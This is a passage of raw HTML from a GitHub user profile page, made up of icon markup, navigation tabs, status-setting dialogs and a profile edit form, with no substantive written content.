fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_STARS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&amp;type=beta" href="/chikitang?tab=projects&amp;type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> </div> </div> </div> </div> <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="h-card mt-md-n5" data-acv-badge-hovercards-enabled itemscope itemtype="http://schema.org/Person" > <div class="user-profile-sticky-bar js-user-profile-sticky-bar d-none d-md-block"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&amp;v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> <div class="js-profile-editable-replace"> <div class="clearfix d-flex d-md-block flex-items-center mb-4 mb-md-0"> <div class="position-relative d-inline-block col-2 col-md-12 mr-3 mr-md-0 flex-shrink-0" style="z-index:4;" > <a class="tooltipped tooltipped-s d-block" aria-label="Change your avatar" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;EDIT_AVATAR&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="fe768eb126278f5ea2e2be2a694fd8f3a8db38717e25f9387d181f875bad4f31" href="https://github.com/account"><img style="height:auto;" alt="" width="260" height="260" class="avatar avatar-user width-full border color-bg-default" src="https://avatars.githubusercontent.com/u/107093285?v=4" /></a> <div class="user-status-container position-relative hide-sm hide-md"> <div class="f5 js-user-status-context user-status-circle-badge-container user-status-editable" data-url="/users/status?circle=1&amp;compact=0&amp;link_mentions=1&amp;truncate=0" > <div class="js-user-status-container user-status-circle-badge d-inline-block lh-condensed-ultra p-2" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;EDIT_USER_STATUS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-inline-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center "> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" ws-normal user-status-message-wrapper f6 min-width-0" > <div class="css-truncate css-truncate-target width-fit color-fg-default"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=1&amp;compact=0&amp;link_mentions=1&amp;truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="TROZQ1psazHuv4SfB_6CRG81LOswktW22NJDqz2bjfsh_3WyNIJmw91nORchhJS4niNrCWbssHaAEqHwSouerQ" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-false" id="limited-availability-truncate-false-compact-false"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-false"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-false"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> </div> </div> <div class="vcard-names-container float-left js-profile-editable-names col-12 py-3 js-sticky js-user-profile-sticky-fields" > <h1 class="vcard-names "> <span class="p-name vcard-fullname d-block overflow-hidden" itemprop="name"> </span> <span class="p-nickname vcard-username d-block" itemprop="additionalName"> chikitang </span> </h1> </div> </div> <div class="mb-2 user-status-container d-md-none"> <div class="js-user-status-container rounded-2 px-2 py-1 mt-2 border" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" role="menuitem" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;EDIT_USER_STATUS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center lh-condensed-ultra v-align-bottom"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" user-status-message-wrapper f6 min-width-0" style="line-height: 20px;" > <div class="css-truncate css-truncate-target width-fit color-fg-default text-left"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=0&amp;compact=1&amp;link_mentions=1&amp;truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="SOdH-f-2peym7Q5DQYTnVoMgrDIwG-wMjYJooZiAkyQkC6sIkVioHpU1s8tn_vGqcjbr0GZliczVQor675CAcg" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-true" id="limited-availability-truncate-false-compact-true"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div class="d-flex flex-column"> <div class="flex-order-1 flex-md-order-none"> <div class="d-flex flex-lg-row flex-md-column"> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form hidden="hidden" class="position-relative flex-auto js-profile-editable-form" data-turbo="false" action="/users/chikitang" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="iwkVToBnjXFFdNjInjG45Uav3_DZUvm96ztLPa7SIYzz2alJxKqJKkcLPLY81dLs-VRRaZXtdnzRx1yISU3dcQ" /> <div class="mb-1 mb-2"> <label for="user_profile_name" class="d-block mb-1">Name</label> <input class="width-full form-control" id="user_profile_name" placeholder="Name" aria-label="Name" name="user[profile_name]" value=""> </div> <div class="js-length-limited-input-container"> <label for="user_profile_bio" class="d-block mb-1">Bio</label> <text-expander keys=": @" data-emoji-url="/autocomplete/emoji" data-mention-url="/autocomplete/user-suggestions"> <textarea class="form-control js-length-limited-input mb-1 width-full js-user-profile-bio-edit" id="user_profile_bio" name="user[profile_bio]" placeholder="Add a bio" aria-label="Add a bio" rows="3" data-input-max-length="160" data-warning-text="{{remaining}} remaining"></textarea> <div class="d-none js-length-limited-input-warning user-profile-bio-message text-right m-0"></div> </text-expander> <p class="note"> You can <strong>@mention</strong> other users and organizations to link to them. </p> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-organization"> <path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Company" aria-label="Company" name="user[profile_company]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-location"> <path fill-rule="evenodd" d="M11.536 3.464a5 5 0 010 7.072L8 14.07l-3.536-3.535a5 5 0 117.072-7.072v.001zm1.06 8.132a6.5 6.5 0 10-9.192 0l3.535 3.536a1.5 